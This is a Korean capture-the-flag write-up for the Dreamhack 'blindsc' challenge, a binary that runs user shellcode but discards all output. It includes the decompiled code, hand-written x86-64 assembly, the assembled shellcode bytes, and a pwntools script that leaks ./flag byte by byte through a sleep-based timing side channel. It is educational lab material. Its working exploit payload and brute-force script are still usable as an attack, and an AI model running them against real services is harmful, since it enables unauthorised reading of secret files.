[Dreamhack] blindsc

checksec으로 바이너리 파일을 확인해봤을 때 눈여겨볼 점은 Canary가 걸려 있지 않다는 것 정도다.
ghidra를 통해 디컴파일된 코드를 확인해보면 다음과 같다.
undefined8 main(void)
{
undefined8 uVar1;
int __fd;
code *pcVar2;
setup();
printf("Input shellcode: ");
read(0,&buf,0x100);
pcVar2 = mmap((void *)0x0,0x1000,7,0x22,-1,0);
uVar1 = DAT_00104068;
*(undefined8 *)pcVar2 = buf;
*(undefined8 *)(pcVar2 + 8) = uVar1;
uVar1 = DAT_00104078;
*(undefined8 *)(pcVar2 + 0x10) = DAT_00104070;
*(undefined8 *)(pcVar2 + 0x18) = uVar1;
uVar1 = DAT_00104088;
/** 중략 **/
*(undefined8 *)(pcVar2 + 0xe0) = DAT_00104140;
*(undefined8 *)(pcVar2 + 0xe8) = uVar1;
uVar1 = DAT_00104158;
*(undefined8 *)(pcVar2 + 0xf0) = DAT_00104150;
*(undefined8 *)(pcVar2 + 0xf8) = uVar1;
puts("\nNot gonna show you the result!");
__fd = open("/dev/null",2);
dup2(__fd,0);
dup2(__fd,1);
dup2(__fd,2);
(*pcVar2)();
return 0;
}
NX가 걸려있지만, 실행가능한 영역에 사용자의 입력을 옮겨 함수로써 실행하는 모습을 확인할 수 있다. 하지만 dup2 함수를 통해 표준 입출력 및 에러를 전부 /dev/null로 버려버리는 코드가 존재한다. 따라서 cat flag, /bin/sh 등 어떤 쉘코드를 삽입하더라도 이후의 출력 또는 입력이 불가능하다.
사실 이 문제는 이름에서 힌트를 얻어낼 수 있는데, blindsc, blind side-channel attack으로 해석될 수 있다.
Side-channel attack
side-channel attack, 즉, 부채널 공격은 사실 하드웨어 쪽에서 주로 사용되는 용어다. 장치로부터 나오는 신호를 분석하여 알고리즘을 알아내거나, 여러 입력을 보내며 미세하게 변하는 신호, 지연시간 또는 반응으로부터 내부 동작을 추측해낸다.
어떻게 보면 blind side-channel attack은 blind SQL injection과 거의 비슷한 원리를 갖고 있다고 보면 된다.
사실 부채널 공격에 관해 자세히 알지는 못하니 여기서 설명을 마치고 문제풀이로 넘어가도록 하겠다.
blindsc

문제 설명을 확인해보면, 플래그는 flag 파일에 존재한다고 한다. 즉, 접속하자마자 ./flag의 내용을 n번째 한 글자 읽고, 그 글자가 a-zA-Z0-9_- 등 중 어떤 문자인지 비교해보는 것이다. 이런 요청을 수백번 보내게 될 것이다.
원하는 코드를 삽입할 수 있다는 점을 이용해, 다음의 코드를 구상한다.
int fd;
char ch;
fd = open("./flag", O_RDONLY);
struct timespec req;
req.tv_sec = 2;
req.tv_nsec = 0;
lseek(fd, N, SEEK_SET);
read(fd, &ch, 1);
if(ch == guess) {
nanosleep(&req, NULL);
exit();
}
핵심 아이디어는 다음과 같다:
guess의 범위를 32 ~ 127로 정한다.- N번째 글자가
guess인지 비교한다. - 만약 정말 N번째 글자가
guess라면 프로그램을 바로 종료하지 않고 3초간 기다린 뒤에 종료한다. guess가 아니라면 바로 종료한다.- 프로그램은 서버의 응답을 기다리며 응답시간이 3초를 넘기면 플래그의 N번째 글자를
chr(guess)로 확정한다. - N + 1을 하고, 1 ~ 5단계를 반복한다. 플래그는 보통
}로 끝나므로, 이 중괄호가 확정된다면 멈춰도 좋다.
Blind SQL Injection과 방식이 똑같다고 볼 수 있다. 다만, 이걸 쉘코드로 바꿔야하는 번거로운 과정이 추가된다.
쉘코드화
핵심 코드는 C로 작성할 수 있었다. 일부러 syscall을 사용하기 좋은 코드로 작성하였다. 그래야 어셈블리로 변환하기 편하기 때문이다.
공부가 돼야하니, 직접 손수 어셈블리로 옮겨봤다.
; rsp : ch
; rsp+0x8 : fd
; rsp+0x10 : req
global _start
_start:
call below
real:
; get flag string first
pop rdi
; secure variables space
sub rsp, 0x20
; reset ch
xor rax, rax
mov qword [rsp], rax
; set req
mov qword [rsp+0x18], rax
mov rax, 3
mov qword [rsp+0x10], rax
; fd = open(flag, O_RDONLY);
mov rax, 2
xor rsi, rsi
syscall
mov qword [rsp+0x8], rax
; lseek(fd, N, SEEK_SET);
mov rdi, rax
mov rax, 8
xor rsi, rsi
xor rdx, rdx
syscall
; read(fd, &ch, 1);
xor rax, rax
mov rdi, qword [rsp+0x8]
lea rsi, [rsp]
mov rdx, 1
syscall
; if(ch == guess)
cmp byte [rsp], 0x44
je sleep
jmp end
sleep:
mov rax, 0x23
lea rdi, [rsp+0x10]
xor rsi, rsi
syscall
jmp end
end:
mov rax, 60
xor rdi, rdi
syscall
below:
call real
db "./flag", 0
\x00이 안 들어가게끔 연습하려고 below 섹션을 밑에 따로 둬봤지만 포기했다. 어차피 이번 문제는 사용자의 입력을 read() 함수로 받으므로 굳이 \x00을 제거할 필요는 없다.
위의 코드를 shellcode.asm이라는 이름의 파일로 저장하고, nasm -f elf64 shellcode.asm -o shellcode.o로 어셈블링한 뒤, ld shellcode.o -o shellcode로 링킹하여 shellcode 바이너리를 생성한다.
objcopy -O binary --only-section=.text shellcode shellcode.bin
python3 -c 'print(repr(open("shellcode.bin", "rb").read()))'
위의 두 줄로 최종적으로 원하는 쉘코드를 얻는다.
b'\xe8r\x00\x00\x00_H\x83\xec H1\xc0H\x89\x04$H\x89D$\x18\xb8\x03\x00\x00\x00H\x89D$\x10\xb8\x02\x00\x00\x00H1\xf6\x0f\x05H\x89D$\x08H\x89\xc7\xb8\x08\x00\x00\x00\xbe\x00\x00\x00\x00H1\xd2\x0f\x05H1\xc0H\x8b|$\x08H\x8d4$\xba\x01\x00\x00\x00\x0f\x05\x80<$Dt\x02\xeb\x11\xb8#\x00\x00\x00H\x8d|$\x10H1\xf6\x0f\x05\xeb\x00\xb8<\x00\x00\x00H1\xff\x0f\x05\xe8\x89\xff\xff\xff./flag\x00'
이제 이 쉘코드를 반복적으로 보내기 위해서는 일부 수정이 필요하다. 몇번째 자리를 시도할 것인지(N), 어떤 문자로 검사할 것인지(guess) 알아야 한다.
쉘코드 활용
pwndbg를 이용해 shellcode를 열어본다.

빨간색 부분이 N에 해당하는 부분, 파란색 부분이 guess에 해당하는 부분이다. 여기서 고쳐야할 곳은 정확히 노란색 네모로 표시된 값이다. N에 해당하는 부분은 0부터 임의의 큰 값까지, guess에 해당하는 부분은 32부터 127까지 값을 올려가면 된다.
이를 활용하는 파이썬 코드는 다음과 같다.
from pwn import *
import time, sys
context.log_level = 'error'
flag = ''
exit_flag = False
for i in range(100):
if exit_flag:
break
for j in range(0x20, 0x7f):
### code for log ###
sys.stdout.write(f'\r\x1b[K[*] Trying {i}: {chr(j)}...')
sys.stdout.write(f'\n[*] Current flag: {flag}\x1b[A')
sys.stdout.flush()
####################
p = process('./blindsc')
p.recvuntil(b': ')
payload = b'\xe8r\x00\x00\x00_H\x83\xec H1\xc0H\x89\x04$H\x89D$\x18\xb8\x03\x00\x00\x00H\x89D$\x10\xb8\x02\x00\x00\x00H1\xf6\x0f\x05H\x89D$\x08H\x89\xc7\xb8\x08\x00\x00\x00\xbe' \
+ p8(i) \
+ b'\x00\x00\x00H1\xd2\x0f\x05H1\xc0H\x8b|$\x08H\x8d4$\xba\x01\x00\x00\x00\x0f\x05\x80<$' \
+ p8(j) \
+ b't\x02\xeb\x11\xb8#\x00\x00\x00H\x8d|$\x10H1\xf6\x0f\x05\xeb\x00\xb8<\x00\x00\x00H1\xff\x0f\x05\xe8\x89\xff\xff\xff./flag\x00'
start = time.time()
p.send(payload)
p.wait()
# use p.recvall() instead of p.wait() when using this code for remote connection
end = time.time()
if(end - start > 3):
flag += chr(j)
if j == ord('}'):
exit_flag = True
break
p.close()
print()
sys.stdout.write(f'\r\x1b[K[*] ')
print(f'flag: {flag}')

로컬에선 잘 작동한다. 실제로 드림핵에 연결해서 사용할 때는 sleep을 기다리는걸 p.wait()이 아니라 p.recvall()로 해야 잘 작동한다.
리버스 쉘
나중에 다른 사람들의 writeup을 보고서야 깨달은건, 이 문제는 이런 방식이 아니라 리버스 쉘을 여는 코드를 삽입하는 방식으로 푸는 문제였다는 것이다.
...
어쩐지 브론즈1 문제 치고 복잡하다 싶었다..